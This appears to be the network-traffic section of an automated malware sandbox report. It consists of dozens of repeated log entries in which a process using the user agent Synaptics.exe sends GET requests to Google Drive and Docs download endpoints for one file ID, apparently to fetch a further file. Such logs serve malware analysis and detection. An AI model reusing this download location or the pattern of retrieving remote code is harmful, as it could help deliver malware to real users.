Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
